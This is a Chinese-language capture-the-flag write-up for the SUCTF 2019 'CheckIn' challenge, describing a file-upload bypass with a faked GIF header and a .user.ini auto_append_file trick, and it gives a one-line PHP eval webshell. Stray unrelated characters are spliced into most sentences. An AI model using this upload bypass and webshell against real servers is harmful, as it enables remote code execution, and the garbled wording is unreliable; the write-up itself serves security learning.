[SUCTF 2019]CheckIn
首頁(yè)是個(gè)上傳頁(yè)面,嘗試上傳一個(gè)shell炊邦,發(fā)現(xiàn)回顯非法后綴编矾。刪除后綴再上傳,發(fā)現(xiàn)對(duì)文件內(nèi)容也有檢測(cè)馁害,檢測(cè)了<?符號(hào)窄俏。刪除文件內(nèi)容再上傳,又提示exif_imagetype:not image!碘菜,這里的hexif_imagetype是一個(gè)php函數(shù)通過文件頭判斷文件類型凹蜈。我們?cè)谖募钋懊婕由螱IF 89A(gif文件頭),發(fā)現(xiàn)成功上傳并回顯了路徑以及目錄下所有文件名忍啸。這里我們可以考慮上傳htaccess文件仰坦,但是這里是個(gè)nginx服務(wù)器,在響應(yīng)頭里可以看到(但是buuoj里的響應(yīng)頭服務(wù)器是openresty吊骤,可能是因?yàn)閎uuoj使用了這個(gè)代理缎岗,我是在wp里看到才知道是nginx)。因此嘗試上傳.user.ini文件白粉,這個(gè)文件用以修改部分php.ini中的配置传泊。
php.ini文件中的配置分為幾個(gè)模式鼠渺,分別是PHP_INI_SYSTEM
、PHP_INI_PERDIR
眷细、PHP_INI_ALL
拦盹、PHP_INI_USER
,在php文檔可以查看每個(gè)配置屬于那種模式溪椎。.user.ini文件中可以修改PHP_INI_PERDIR
普舆、PHP_INI_ALL
、PHP_INI_USER
模式的配置校读,在配置列表中有如下兩個(gè)配置auto_append_file沼侣、
auto_prepend_file。這兩個(gè)配置可以將文件插入到php文件中歉秫,我們可以利用這個(gè)函數(shù)來包含一個(gè)我們上傳的webshell蛾洛。
首先我們構(gòu)造一個(gè)webshell文件,由于<?被過濾雁芙,嘗試使用短標(biāo)簽
<?php x ?>
<% x %> 開啟asp_tags=on
<? x ?> short_open_tag = On
<?=x ?><script language="php">x</script>
這里可以選擇
<script language="php">x</script>格式轧膘,也可以選擇<% x %>格式,如果選擇<% x %>格式則需要設(shè)置asp_tags=on兔甘,這個(gè)配置屬于PHP_INI_PERDIR
谎碍,因此可以在.user.ini中修改。
首先上傳一個(gè)無后綴的文件洞焙,內(nèi)容為
GIF 89A
<%
@eval($_POST['cmd']);
%>
然后上傳一個(gè).user.ini文件蟆淀,內(nèi)容為
GIF 89A
asp_tags=on
auto_append_file={上一個(gè)文件的文件名}
然后使用菜刀連接回顯的路徑下的index.php,最后在根目錄下看到flag文件澡匪。